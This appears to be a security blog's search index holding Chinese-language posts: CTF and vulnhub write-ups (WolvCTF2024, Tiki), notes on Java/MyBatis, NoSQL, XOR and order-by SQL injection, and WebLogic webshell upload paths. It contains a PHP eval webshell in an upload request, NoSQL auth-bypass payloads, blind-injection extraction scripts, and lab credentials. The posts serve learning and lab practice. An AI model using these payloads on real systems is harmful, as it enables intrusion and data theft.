nameField.set(m,\"lvzhouhang\");\n ageField.set(m,200);\n sexField.set(m,new StringBuilder(\"female\"));\n printMethod.invoke(m);\n }\n}\n~~~\n\n~~~java\npackage src;\n\npublic class InDirectPerson {\n private final StringBuilder sex = new StringBuilder(\"male\");\n // 经过逻辑判断产生的变量赋值\n public final int age = (null!=null?20:20);\n // 通过构造函数进行赋值\n private final String name;\n public InDirectPerson(){\n name = \"lvzhouhang\";\n }\n\n public void printInfo() {\n System.out.println(name+\" \"+age+\" \"+sex);\n\n }\n}\n~~~\n\n这样就修改成功了\n\n### static+final\n\n~~~java\npackage src;\n\npublic class finalstaticreflection {\n private final static StringBuilder name = new StringBuilder(\"lvzhouhang\");\n\n public void printName() {\n System.out.println(name);\n }\n}\n\n~~~\n\n~~~java\npackage src;\n\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Method;\n\npublic class finalstaticflectioncalc {\n public static void main(String[] args) throws Exception{\n finalstaticreflection c = new finalstaticreflection();\n Method m = c.getClass().getDeclaredMethod(\"printName\");\n m.invoke(c);\n Field f = c.getClass().getField(\"name\");\n f.setAccessible(true);\n f.set(c,new StringBuilder(\"lllllvzhouhang\"));\n m.invoke(c);\n }\n\n}\n\n~~~\n\n这样使修改不成功的,但是还是可以修改,通过反射将name字段取出来后将final修饰符去掉就可以修改\n\n~~~java\npackage src;\n\nimport com.sun.org.apache.xpath.internal.operations.Mod;\n\nimport java.io.File;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Method;\nimport java.lang.reflect.Modifier;\n\npublic class finalstaticflectioncalc {\n public static void main(String[] args) throws Exception{\n finalstaticreflection c = new finalstaticreflection();\n Method m = c.getClass().getDeclaredMethod(\"printName\");\n c.printName();\n Field f = c.getClass().getDeclaredField(\"name\");\n f.setAccessible(true);\n Field ff = f.getClass().getDeclaredField(\"modifiers\");\n ff.setAccessible(true);\n ff.setInt(f,f.getModifiers() & ~Modifier.FINAL);//去掉final修饰符\n f.set(c,new StringBuilder(\"lllllvzhouhang\"));\n ff.setInt(f,f.getModifiers() & ~Modifier.FINAL);//加上final修饰符\n c.printName();\n }\n\n}\n\n~~~\n\n这样就成功修改了\n","tags":["JAVA"],"categories":["JAVA"]},{"title":"weblogic上传马路径选择","url":"/2024/04/12/weblogic上传马路径选择/","content":"\n# [weblogic上传木马路径选择](https://www.cnblogs.com/sstfy/p/10350915.html)\n\n对于反序列化漏洞,如果获得的是系统权限或者root权限,那就没必要上传木马,但如果只是web安装应用的权限,就上传获取更大权限。\n\n上传需要找到几个点,获取物理路径,如下面三种:\n\n- **方法1:把shell写到控制台images目录中**\n `\\Oracle\\Middleware\\wlserver_10.3\\server\\lib\\consoleapp\\webapp\\framework\\skins\\wlsconsole\\images\\shell.jsp` 目录上传木马,\n 访问 `http://*.*.*.*:7001/console/framework/skins/wlsconsole/images/shell.jsp`\n [![img](https://img2018.cnblogs.com/blog/981809/201902/981809-20190218100928075-1843904986.png)](https://img2018.cnblogs.com/blog/981809/201902/981809-20190218100928075-1843904986.png)\n [![img](https://img2018.cnblogs.com/blog/981809/201902/981809-20190218100936306-699453349.png)](https://img2018.cnblogs.com/blog/981809/201902/981809-20190218100936306-699453349.png)\n\n- **方法2:写到uddiexplorer目录中**\n `\\Oracle\\Middleware\\user_projects\\domains\\base_domain\\servers\\AdminServer\\tmp\\_WL_internal\\uddiexplorer\\随机字符\\war\\shell.jsp` 目录写入木马,\n 访问 `http://*.*.*.*:7001/uddiexplorer/shell.jsp`\n [![img](https://img2018.cnblogs.com/blog/981809/201902/981809-20190218100944582-1944368429.png)](https://img2018.cnblogs.com/blog/981809/201902/981809-20190218100944582-1944368429.png)\n [![img](https://img2018.cnblogs.com/blog/981809/201902/981809-20190218100951748-1087437211.png)](https://img2018.cnblogs.com/blog/981809/201902/981809-20190218100951748-1087437211.png)\n- **方法3:在应用安装目录中**\n `\\Oracle\\Middleware\\user_projects\\domains\\application\\servers\\AdminServer\\tmp\\_WL_user\\项目名\\随机字符\\war\\shell.jsp` 目录写入木马,\n 访问 `http://*.*.*.*:7001/项目名/shell.jsp`\n","tags":["web"],"categories":["web"]},{"title":"WolvCTF2024-复盘","url":"/2024/03/18/WolvCTF2024-复盘/","content":"\n\n\n## Bean Cafe\n\n他的验证逻辑是通过图片的md5的值来验证的,所以我们只需要传两张MD5相同的图片就可以获得flag\n\nhttps://drive.google.com/drive/folders/1eCcMtQkHTreAJT6JmwxG10x1HbT6prY0\n\n## Upload Fun\n\n~~~php\n<?php\n if($_SERVER['REQUEST_METHOD'] == \"POST\"){\n if ($_FILES[\"f\"][\"size\"] > 1000) {\n echo \"file too large\";\n return;\n }\n\n if (str_contains($_FILES[\"f\"][\"name\"], \"..\")) {\n echo \"no .. in filename please\";\n return;\n }\n\n if (empty($_FILES[\"f\"])){\n echo \"empty file\";\n return;\n }\n\n $ip = $_SERVER['REMOTE_ADDR'];\n $flag = file_get_contents(\"/flag.txt\");\n $hash = hash('sha256', $flag . $ip);\n\n if (move_uploaded_file($_FILES[\"f\"][\"tmp_name\"], \"./uploads/\" . $hash . \"_\" . $_FILES[\"f\"][\"name\"])) {\n echo \"upload success\";\n } else {\n echo \"upload error\";\n }\n } else {\n if (isset($_GET[\"f\"])) {\n $path = \"./uploads/\" . $_GET[\"f\"];\n if (str_contains($path, \"..\")) {\n echo \"no .. in f please\";\n return;\n }\n include $path;\n }\n\n highlight_file(\"index.php\");\n }\n?>\n~~~\n\n首先分析一下源码,源码通过POST方式来上传文件并且上传的文件不能包含`..`用GET的方式来读取文件也不能带有`..`,上传的文件在`uploads`目录下,但是我们不知道`$hash`是什么。\n\n通过谷歌得知在linux种文件名的长度最大可为255个字符,我们可以通过这种方式让它报错来得知他的值\n\n![](./pic/WolvCTF2024/upload.png)\n\n我们可以看到他的回显告诉我们了hash的值,然后我们再上传一句话木马访问即可。\n\nPOST上传文件的请求体模板:\n\n~~~\nPOST / HTTP/2\nHost: \nCache-Control: max-age=0\nSec-Ch-Ua: \"Chromium\";v=\"122\", \"Not(A:Brand\";v=\"24\", \"Google Chrome\";v=\"122\"\nSec-Ch-Ua-Mobile: ?0\nSec-Ch-Ua-Platform: \"Windows\"\nUpgrade-Insecure-Requests: 1\nOrigin: https://0ad900b10331bc6f843fbff300b80018.web-security-academy.net\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundarylZktl8pLMuKyOfBy\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8\nContent-Length: 198\n\n------WebKitFormBoundarylZktl8pLMuKyOfBy\nContent-Disposition: form-data; name=\"\"; filename=\"\"\nContent-Type: \n\n\n<?php eval($_POST['1'])?>\n------WebKitFormBoundarylZktl8pLMuKyOfBy\n~~~\n\n## Username\n\n题目提示了jwt可以爆破,那这道题肯定和jwt伪造有关。\n\n用jwt-cracker爆破密钥,为`mstzt`\n\n因为有<data>标签,所以判断为xxe注入,但是正常的xxe他会有过滤,不能引用东西。可以使用`XInclude attack`关于[XInclude attack](https://d0pt3x.gitbook.io/passion/webapp-security/xxe-attacks/xinclude-attacks)\n\n读取/app/app.py文件\n\n~~~python\nimport flask\nfrom flask import Flask, render_template, request, url_for\nimport jwt\nfrom lxml import etree\nimport os\nimport re\nimport tempfile\n\napp = Flask(__name__)\n\nFLAG = os.environ.get('FLAG') or 'wcft{fake-flag}'\nFLAGUSER_PASSWORD = os.environ.get('FLAGUSER_PASSWORD') or 'fake-password'\n\nJWT_SECRET = os.environ.get('JWT_SECRET') or 'secret'\n\nJWT_ALG = 'HS256'\nJWT_COOKIE = 'appdata'\n\n\[email protected]('/')\ndef root():\n return render_template(\"index.html\")\n\n\[email protected]('/secret-welcome-935734', methods=['GET'])\ndef secret_welcome():\n # There is a linux user named 'flaguser'\n # Login here with that username and their linux password.\n auth = request.authorization\n\n if auth is None or auth.username != 'flaguser' or auth.password != FLAGUSER_PASSWORD:\n resp = flask.Response('Please provide the right credentials to get the flag')\n resp.headers['WWW-Authenticate'] = 'Basic'\n return resp, 401\n\n return f'Congrats, here is your flag: {FLAG}'\n\n\[email protected]('/welcome', methods=['GET'])\ndef welcome():\n cookie = request.cookies.get(JWT_COOKIE)\n\n if not cookie:\n return f'Error: missing {JWT_COOKIE} cookie value'\n\n try:\n jwtData = jwt.decode(cookie, JWT_SECRET, algorithms=[JWT_ALG])\n except:\n return 'Error: unable to decode JWT cookie', 400\n\n data = jwtData['data']\n if not data:\n return 'Error: missing data field from decoded JWT', 400\n\n xmlText = str(data)\n if '&' in xmlText:\n return 'Error: No entity references please', 400\n if '%' in xmlText:\n return 'Error: No parameter file entities please', 400\n\n tmp = tempfile.NamedTemporaryFile()\n\n # Open the file for writing.\n with open(tmp.name, 'w') as f:\n f.write(xmlText)\n\n try:\n parser = etree.XMLParser(resolve_entities=False)\n xmlDoc = etree.parse(tmp.name, parser=parser)\n xmlDoc.xinclude()\n except Exception as e:\n print('XML Error:', e)\n return 'Error: Error parsing XML', 400\n\n\n usernameElement = xmlDoc.find('username')\n if usernameElement is None:\n return 'Error: Missing username element in XML', 400\n\n username = usernameElement.text\n\n return render_template(\"welcome.html\", username=username)\n\n\[email protected]('/register', methods=['POST'])\ndef register():\n username = request.form.get('username')\n\n if not username:\n return 'Error: username is required', 400\n\n username = str(username)\n\n if not re.match('^[a-z] $', username):\n return 'Error: username must be only lowercase letters', 400\n\n if len(username) < 3:\n return 'Error: username must be at least 3 letters', 400\n\n if len(username) > 20:\n return 'Error: username must be no longer than 20 letters', 400\n\n # Useful for chal development\n # username = '<xi:include xmlns:xi=\"http://www.w3.org/2001/XInclude\" href=\"/app/app.py\" parse=\"text\"/>'\n xml = f'<data><username>{username}</username></data>'\n\n jwtData = {\"data\": xml}\n\n cookie = jwt.encode(jwtData, JWT_SECRET, algorithm=JWT_ALG)\n\n response = flask.make_response(f'hello {username}')\n response.set_cookie(JWT_COOKIE, cookie)\n\n response.headers['location'] = url_for('welcome')\n return response, 302\n\nif __name__ == \"__main__\":\n app.run(debug=False)\n~~~\n\n在这个文件里可以得知,有一个新的路由`/secret-welcome-935734`在这里登陆成功后得到flag,用户名为`flaguser`,密码我们可以用xxe读取`/etc/passwd或者/etc/shadow`在shadow中我们得知密码为`$1$hack$BzqsFHqkPjQ2Sn9amFsgN0`这个可以利用`hashcat`爆破\n\n关于hashcat的用法[](https://www.jianshu.com/p/9909ce4c9e7c)\n\n爆破出来密码是`qqz3`登录得到flag\n","tags":["ctf"],"categories":["ctf","复盘"]},{"title":"java注入学习","url":"/2024/03/16/java注入学习/","content":"\n\n\n## JDBC\n\n### JDBC是什么\n\n**J**ava **D**ata**B**ase **C**onnectivity(Java语言连接数据库)\n\n| 接口或类 | 作用 |\n| ------------------------ | -------------------------------------------------------- |\n| **DriverManager类** | 1)管理和注册数据库驱动<br />2)得到数据库连接对象 |\n| **Connection接口** | 一个连接对象,可用于创建Statement和PreparedStatement对象 |\n| **Statemen接口** | 一个SQL语句对象,用于将SQL语句发送给数据库服务器 |\n| **PreparedStetemen接口** | 一个SQL语句对象,是Statemen的子接口 |\n| **ResultSet接口** | 用于封装数据库查询的结果集,返回给数据库Java程序 |\n\n| 加载和注册驱动的方法 | 描述 |\n| ----------------------------------- | ------------------------------------------------------------ |\n| **Class.forName(数据库驱动实现类)** | 加载和注册数据库驱动,数据库驱动由mysql厂商\"com.mysql.jbdc.Driver\" |\n\nPrepareStatement会对SQL语句进行预编译,但如果直接采取拼接的方式构造SQL,此时进行预编译也无用。\n\nStatement不会对SQL语句进行预编译。\n\n两种操作都是因为SQL语句拼接导致的SQL注入。\n\n## MyBatis框架\n\n在mybatis中的,使用`#`包裹的字段在内部进行了预编译处理,而`$`并没有使用预编译,也就是JDBC中prepareStatement和Statement的区别。mybatis的sql语句通常是写在xml文件中。\n\n### order by 盲注\n\n在SQL中是不允许union直接跟在order by后面的,所以我们可以考虑使用盲注或报错注入。\n\n我的理解就是通过order by将列进行排序,通过返回的不同结果\n\n举个简单的例子:\n\n~~~mysql\nMariaDB [test]> select * from user order by (if(substr((select username from user limit 0,1),1,1)='1',sleep(1),1));\n+------------------+------------+\n| username | password |\n+------------------+------------+\n| Nakajima Ayato | 9CXLGSEWDO |\n| Mildred Green | r8ZPbvDXBC |\n| Ito Momoe | qao7ysP90D |\n| Lo On Kay | x8rGVqTQqd |\n| Kobayashi Sakura | lYiv7UO8Yo |\n+------------------+------------+\n5 rows in set (0.002 sec)\n\nMariaDB [test]> select * from user order by (if(substr((select username from user limit 0,1),1,1)='N',sleep(1),1));\n+------------------+------------+\n| username | password |\n+------------------+------------+\n| Nakajima Ayato | 9CXLGSEWDO |\n| Mildred Green | r8ZPbvDXBC |\n| Ito Momoe | qao7ysP90D |\n| Lo On Kay | x8rGVqTQqd |\n| Kobayashi Sakura | lYiv7UO8Yo |\n+------------------+------------+\n5 rows in set (5.004 sec)\n~~~\n\n可以看到,当if语句成立时返回的时间为5s,但是不成立时为0.002s\n\n这是基于时间的盲注。\n\n还可以利用其它的方式来进行盲注\n\n例如:\n\n```sql\nMariaDB [test]> select * from user order by if(substr((select username from user limit 0,1),1,1)='a',1,(select host from mysql.user));\nERROR 1242 (21000): Subquery returns more than 1 row\n```\n\n如果if语句错误就会返回`ERROR 1242 (21000): Subquery returns more than 1 row`,当if成立时就会返回正常页面,可以通过返回的情况来判断。\n\n### rand()盲注\n\n原理和order by大差不差,就是rand()会产生一个0-1之间的随机数,我们给一个固定的种子就会生成一个固定的数,所以我们控制rand的种子就可以造成排序的结果不同。\n\n比如:\n\n~~~\nrand(1)\nrand(0)\nrand(1=1)\nrand(lenth(database())=8)\n....\n~~~\n\n### #和$符号的区别\n\n**#{}** \n\n使用#{}意味着使用的预编译的语句,即在使用jdbc时的preparedStatement,sql语句中如果存在参数则会使用?作占位符,我们知道这种方式可以防止sql注入,并且在使用#{}时形成的sql语句,已经带有引号,例,select * from table1 where id=#{id} 在调用这个语句时我们可以通过后台看到打印出的sql为:select * from table1 where id='2' 加入传的值为2.也就是说在组成sql语句的时候把参数默认为字符串。\n\n**${}**\n\n使用${}时的sql不会当做字符串处理,是什么就是什么,如上边的语句:select * from table1 where id=${id} 在调用这个语句时控制台打印的为:select * from table1 where id=2 ,假设传的参数值为2\n\n从上边的介绍可以看出这两种方式的区别,我们最好是能用#{}则用它,因为它可以防止sql注入,且是预编译的,在需要原样输出时才使用${},如,\n\nselect * from ${tableName} order by ${id} 这里需要传入表名和按照哪个列进行排序 ,加入传入table1、id 则语句为:select * from table1 order by id\n\n如果是使用#{} 则变成了select * from 'table1' order by 'id' 我们知道这样就不对了。\n\n另,在使用以下的配置时,必须使用#{}\n\n```\n<select id=\"selectMessageByIdI\" parameterType=\"int\" resultType=\"Message\">\n \n select * from message where id=#{id};\n </select>\n```\n\n在parameterType是int时,sql语句中必须是#{}。\n\n## 参考链接\n\n [关于Java中order by注入详解](https://www.freebuf.com/articles/web/360733.html)\n","tags":["web","sql"],"categories":["web","java"]},{"title":"NoSQL注入","url":"/2024/03/12/NoSQL注入/","content":"\n\n\n\n\n\n\n## 什么是NoSQL\n\nNoSQL,指的是非关系型的数据库。NoSQL 有时也称作 Not Only SQL 的缩写,是对不同于传统的[关系型数据库](https://cloud.tencent.com/product/cdb-overview?from_column=20065&from=20065)的[数据库管理](https://cloud.tencent.com/product/dbbrain?from_column=20065&from=20065)系统的统称。NoSQL 用于超大规模数据的存储。(例如谷歌或 Facebook 每天为他们的用户收集万亿比特的数据)。这些类型的数据存储不需要固定的模式,无需多余操作就可以横向扩展。\n\n---\n\n\n\nNoSQL 提供了新的数据模型和查询格式,从而可以规避常规的 SQL 注入攻击。但是,它们也为攻击者提供了插入恶意代码的新方法。总的来讲有四种注入手法:\n\n**1、重言式**\n\n又称为永真式(这个好像是数理逻辑里面的术语),此类攻击是在条件语句中注入代码,使生成的表达式判定结果永远为真,从而绕过认证或访问机制。\n\n**2、联合查询**\n\n联合查询是一种众所周知的SQL注入技术,攻击者利用一个脆弱的参数去改变给定查询返回的数据集。联合查询最常用的用法是绕过认证页面获取数据。\n\n**3、JavaScript 注入**\n\nMongoDB Server 支持 JavaScript,这使得在数据引擎进行复杂事务和查询成为可能,传递不干净的用户输入到这些查询中可以注入任意 JavaScript 代码,导致非法的数据获取或篡改。\n\n**4、盲注**\n\n当页面没有回显时,那么我们可以通过`$regex`正则表达式来达到和 SQL 注入中`substr()`函数相同的功能,而且 NoSQL 用到的基本上都是布尔盲注。\n\n---\n\n对于 PHP 本身的特性而言,由于其松散的数组特性,导致如果我们输入`value=1`那么,也就是输入了一个 value 的值为 1 的数据。如果输入`value[$ne]=1`也就意味着`value=array($ne=>1)`,在 MongoDB 中,原来的一个单个目标的查询变成了条件查询。同样的,我们也可以使用`username[$gt]=&password[$gt]=`作为 payload 进行攻击。\n\n在我看来,nosql注入就是通过传入数组然后拼接恶意语句造成注入,和其他数据库的注入原理类似,但是语法有所不同。\n\n[查询操作符](https://blog.csdn.net/dyllove98/article/details/8990940)\n\nnosql的查询操作符不用`or、and、=`等等,取而代之的是`$eq、$ne、$gt`等\n\n| 方法名 | 描述 |\n| ------ | -------- |\n| $gt | 大于 |\n| $lte | 小于等于 |\n| $in | 包含 |\n| $nin | 不包含 |\n| $lt | 小于 |\n| $gte | 大于等于 |\n| $ne | 不等于 |\n| $eq | 等于 |\n\n| $and | 与 |\n| ---- | ------------------------------------------------------------ |\n| $nor | $nor在NOR一个或多个查询表达式的数组上执行逻辑运算,并选择 对该数组中所有查询表达式都失败的文档 |\n| $not | 反匹配(1.3.3及以上版本),字段值不匹配表达式或者字段值不存在 |\n| $or | 或 |\n\n例如:\n\n我们传入`username=admin&password=123456`\n\n后端就会处理成\n\n~~~\narray(\n'username' => 'admin',\n'password' => '123456'\n)\n~~~\n\n如果我们传入`username[$ne]=1&password[$ne]=1`\n\n后端处理成\n\n~~~\narray(\n'username' => array('$ne' => 1),\n'password' => array('$ne' => 1)\n)\n~~~\n\n查询的语句就会变成`db.users.find({'username':{$ne:1}, 'password':{$ne:1}})`\n\n意思就是查询username不等于1,password不等于1的用户\n\n此外,nosql还可以进行javascrip注入\n\n例如:`db.users.find( { $where: function() { return this.username == 'admin'; } } )`\n\n该查询返回在users集合中username等于admin的所有文档。\n\n\n\n## 参考链接\n\n[从零学习 NoSQL 注入之 Mongodb](https://cloud.tencent.com/developer/article/1602092)\n\n[get-started-with-nosql-injection-nosqli](https://tcm-sec.com/get-started-with-nosql-injection-nosqli/)\n","tags":["web","sql"],"categories":["web"]},{"title":"sql异或注入","url":"/2024/03/01/sql异或注入/","content":"\n\n\n## sql异或注入\n\n当waf过滤了很多东西,但是没有过滤异或(^)符的时候使用。\n\n\n\n### 什么是异或注入\n\n异步注入说简单一点就是在构造where后面的判断条件时使用^(异或符号)来达到sql注入攻击的目的\n\n**1^1=0 1^0=1**\n\n异或注入就是利用sql语句来进行盲注\n\n例如:\n\n```javascript\nselect * from student where Sname=1^(substr(database(),$变量1$,1)=$变量2$);\n```\n\n这里就是看数据库的第`变量1`个字符是否等于`变量2`,如果相等就会变成`1^1`返回的是0,所以我们应该在最后再异或一个1\n\n~~~sql\nselect * from student where Sname=1^(substr(database(),$变量1$,1)=$变量2$)^1;\n~~~\n\n这样如果数据库的第`变量1`个字符等于`变量2`就会返回1,然后再配合脚本实现异或注入\n\n---\n\n\n\n脚本:\n\n~~~\nimport requests\nimport time\n\nurl = \"\"\npay=''\ncolumn = \"\"\nfor i in range(1, 1000):\n time.sleep(0.06)\n low = 32\n high = 128\n mid = (low + high) // 2\n while (low < high):\n # 库名\n #temp[\"id\"] = \"1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1\" % (i, mid)\n # 表名\n # temp[\"id\"] = \"1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)^1\" %(i,mid)\n # 字段名\n # temp[\"id\"] = \"1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1\" %(i,mid)\n # 内容\n pay = \"1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1\" %(i,mid)\n r = requests.get(url+pay)\n time.sleep(0.04)\n print(low, high, mid, \":\")\n if \"Click\" in r.text:\t\t\t#自行更改返回字符\n low = mid + 1\n else:\n high = mid\n mid = (low + high) // 2\n if (mid == 32 or mid == 127):\n break\n column += chr(mid)\n print(column)\n\nprint(\"All:\", column)\n\n~~~\n\n","tags":["web","sql"],"categories":["web"]},{"title":"PHP语法构造和变量函数","url":"/2024/02/29/PHP语法构造和变量函数/","content":"\n\n\n\n\n\n\n\n\n昨天我发现了一个问题\n\n```php\n<?php\n$a='693741';\n$a=base_convert($a,10,36);\n$a(system(\"dir\"));\n```\n\n$a是36进制的eval转换成的10进制\n\n所以这个代码其实就是`eval(system(\"dir\"));`,但是运行的时候却报错了\n\n~~~\nPHP Fatal error: Uncaught Error: Call to undefined function eval()\n~~~\n\n然后去网上了解了才知道\n\n**`eval` 属于PHP语法构造的一部分,并不是一个函数,所以不能通过 变量函数 的形式来调用`**\n\n类似的语法构造还有:`echo`,`print`,`unset()`,`isset()`,`empty()`,`include`,`require`...\n\n就比如\n\n~~~\nprint \"asdasd\";\n>asdasd\n\nfunction myprint($a)\n{\n print $a;\n}\nmyprint \"asdasdasd\";\n>Parse error: syntax error, unexpected '\"asdasdasd\"' (T_CONSTANT_ENCAPSED_STRING)\n~~~\n\n直接`print \"asdasd\"`就可以打印出字符,但是自己构造的函数却没有办法这样。\n\n所以网上有的一句话木马来调用eval的其实都不可以,换成`assert`就可以了。\n","tags":["web"],"categories":["web"]},{"title":"order by 盲注","url":"/2024/02/11/order-by-盲注/","content":"\n# order by比较大小盲注\n\n![](/pic/orderby1.png)\n\n这是表里的所有东西\n\n如果我们执行`select * from flag where id='' or 1 union select 1,1 order by 2;`会出现\n\n![](/pic/orderby2.png)\n\n不能用`and`否则就相当于创建了一个虚拟的表,查询不到原来的数据。\n\n我们知道flag的第一位是`f`,如果我们查询`select * from flag where id='' or 1 union select 1,'f' order by 2;`会发生什么呢?\n\n![](/pic/orderby3.png)\n\n还是这样,第一行没什么用,但是如果我们查询的是`g`的话就会变成这样\n\n![](/pic/orderby4.png)\n\nflag的值就会出现在第一行,我们就可以利用这一点来进行order by盲注\n\n脚本:\n\n~~~python\nimport requests\nimport string\nurl=\"http://4ef0329e-10b4-4bd1-bf0a-0d80fe83129d.challenge.ctf.show/\"\nstr=string.digits+string.ascii_letters\nflag=''\nj=''\nfor i in range(1,50):\n for s in str:\n data = {\n 'username': \"' or 1 union select 1,2,'{0}' order by 3#\".format(flag+s),\n 'password': '1111'\n }\n r=requests.post(url,data=data)\n if \"</code>admin\" in r.text:\n flag+=chr(ord(s)-1)\n print(flag)\n break;\n~~~\n\n根据脚本自行修改\n","tags":["web","sql"],"categories":["web"]},{"title":"Tiki:1","url":"/2023/12/04/Tiki-1/","content":"\n# 描述\n\n哦,不,我们的网络服务器受到了损害。攻击者使用了0day,所以我们不知道他是如何进入管理面板的。调查一下。\n\n这是一个 OSCP Prep Box,它基于我最近发现的 CVE。它位于 OSCP 实验室机器级别。\n\n# 渗透过程\n\n首先就是信息搜集,靶机的ip用nmap或者netdiscover都可以\n\n靶机ip:192.168.56.102\n\n然后扫描一下全部的端口\n\n`nmap -sS -p- 192.168.56.102 -T4 --min-rate 1000 -oN nmap.txt`\n\n结果如下:\n\n~~~\nPORT STATE SERVICE\n22/tcp open ssh\n80/tcp open http\n139/tcp open netbios-ssn\n445/tcp open microsoft-ds\n~~~\n\n然后扫一下端口的信息,和服务的版本\n\n`nmap -sV -sC -O -p22,80,139,445 192.168.56.102 `\n\n~~~\nPORT STATE SERVICE VERSION\n22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n| 3072 a3d84a89a9256d07c53d762806edd1c0 (RSA)\n| 256 e7b289055457dc02f48c3a7c558b51aa (ECDSA)\n|_ 256 fd77072b4a163a016be0000c0a36d82f (ED25519)\n80/tcp open http Apache httpd 2.4.41 ((Ubuntu))\n| http-robots.txt: 1 disallowed entry \n|_/tiki/\n|_http-server-header: Apache/2.4.41 (Ubuntu)\n|_http-title: Apache2 Ubuntu Default Page: It works\n139/tcp open netbios-ssn Samba smbd 4.6.2\n445/tcp open netbios-ssn Samba smbd 4.6.2\nMAC Address: 08:00:27:26:96:01 (Oracle VirtualBox virtual NIC)\nWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port\nDevice type: general purpose\nRunning: Linux 4.X|5.X\nOS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5\nOS details: Linux 4.15 - 5.6\nNetwork Distance: 1 hop\nService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel\n\nHost script results:\n|_clock-skew: 7h59m57s\n| smb2-security-mode: \n| 311: \n|_ Message signing enabled but not required\n|_nbstat: NetBIOS name: UBUNTU, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)\n| smb2-time: \n| date: 2023-12-04T20:55:56\n|_ start_date: N/A\n\nOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .\nNmap done: 1 IP address (1 host up) scanned in 28.95 seconds\n\n~~~\n\n可以发现有`samba`服务,可以对samba进行枚举\n\n用`enum4linux`跑一下可以找到`silky`的用户,用smbclient列举一下共享的资源\n\n`smbclient -L IP`\n\n~~~\n\tSharename Type Comment\n\t--------- ---- -------\n\tprint$ Disk Printer Drivers\n\tNotes Disk My Notes\n\tIPC$ IPC IPC Service (ubuntu server (Samba, Ubuntu))\n\n~~~\n\n能找到Notes,连接一下`smbclient //192.168.56.102/Notes`有一个Mail.txt\n\n下载下来查看\n\n~~~\n#Mail.txt\nHi Silky\nbecause of a current Breach we had to change all Passwords,\nplease note that it was a 0day, we don't know how he made it.\n\nYour new CMS-password is now 51lky571k1, \nplease investigate how he made it into our Admin Panel.\n\nCheers Boss.\n\n~~~\n\n可以看到cms的密码,登录之后没什么用。\n\n查看cms有没有什么历史漏洞\n\n`searchsploit tiki cms`\n\n~~~\n---------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------\n Exploit Title | Path\n---------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------\nTiki Wiki CMS 15.0 - Arbitrary File Download | php/webapps/40080.txt\nTiki Wiki CMS Calendar 6.15/9.11 LTS/12.5 LTS/14.2 - Remote Code Execution | php/webapps/39965.txt\nTiki Wiki CMS Groupware - 'url' Open Redirection | php/webapps/36848.txt\nTiki Wiki CMS Groupware 21.1 - Authentication Bypass | php/webapps/48927.py\nTiki Wiki CMS Groupware 5.2 - Multiple Vulnerabilities | php/webapps/15174.txt\nTiki Wiki CMS Groupware 7.2 - 'snarf_ajax.php' Cross-Site Scripting | php/webapps/35974.txt\nTiki Wiki CMS Groupware 8.1 - 'show_errors' HTML Injection | php/webapps/36470.txt\nTiki Wiki CMS Groupware 8.2 - 'snarf_ajax.php' Remote PHP Code Injection | php/webapps/18265.txt\nTiki Wiki CMS Groupware 8.3 - 'Unserialize()' PHP Code Execution | php/webapps/19573.php\nTiki Wiki CMS Groupware 8.3 - 'Unserialize()' PHP Code Execution (Metasploit) | php/webapps/19630.rb\n---------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------\nShellcodes: No Results\nPapers: No Results\n\n~~~\n\n查看web服务cms的版本用dirsearch可以找到一个changelog\n\n访问可以看到版本为21.1,正好有一个历史漏洞\n\n用`searchsploit tiki cms -m 48927 `将脚本下载下来运行,重置admin的密码为空,然后用admin登录bp抓包修改登录密码为空,成功登录。在lastchange的Credentials里可以找到`silky:Agy8Y7SPJNXQzqA `这个是ssh的密码,用ssh连接,查看id,发现用户在sodu组下,可以直接sudo su提权。\n\n# 小结\t\t\n\n一开始靶场搭建的时候出了点问题导致发现不了靶机的地址,是因为我的攻击机和靶机不在一个局域网内,将靶机的网卡和攻击机桥接在一起就可以了\n\n记录下来的只有正确的路线,渗透过程中还要去试着探索其他的功能点\n","tags":["vulnhub"],"categories":["boot2root"]},{"title":"1337_UP_LIVE_CTF 2023","url":"/2023/11/22/1337_up_live_Ctf/","content":"\n\n\n## CTFC\n\n刷题的时候见到过这种题,其实就是注入+爆破嘛,但之前遇到的是sql注入的,这说明现在数据库类型见的不多\n\n题目给了一个附件\n\n~~~python\n#app.py\nfrom flask import Flask,render_template,request,session,redirect\nimport pymongo\nimport os\nfrom functools import wraps\nfrom datetime import timedelta\nfrom hashlib import md5\nfrom time import sleep\n\napp = Flask(__name__)\napp.secret_key = os.environ['SECRET_KEY']\n\n# db settings\nclient = pymongo.MongoClient('localhost',27017)\ndb = client.ctfdb\n\ndef createChalls():\n\tdb.challs.insert_one({\"_id\": \"28c8edde3d61a0411511d3b1866f0636\",\"challenge_name\": \"Crack It\",\"category\": \"hash\",\"challenge_description\": \"My friend sent me this random string `cc4d73605e19217bf2269a08d22d8ae2` can you identify what it is? , flag format: CTFC{<password>}\",\"challenge_flag\": \"CTFC{cryptocat}\",\"points\": \"500\",\"released\": \"True\"})\n\tdb.challs.insert_one({\"_id\": 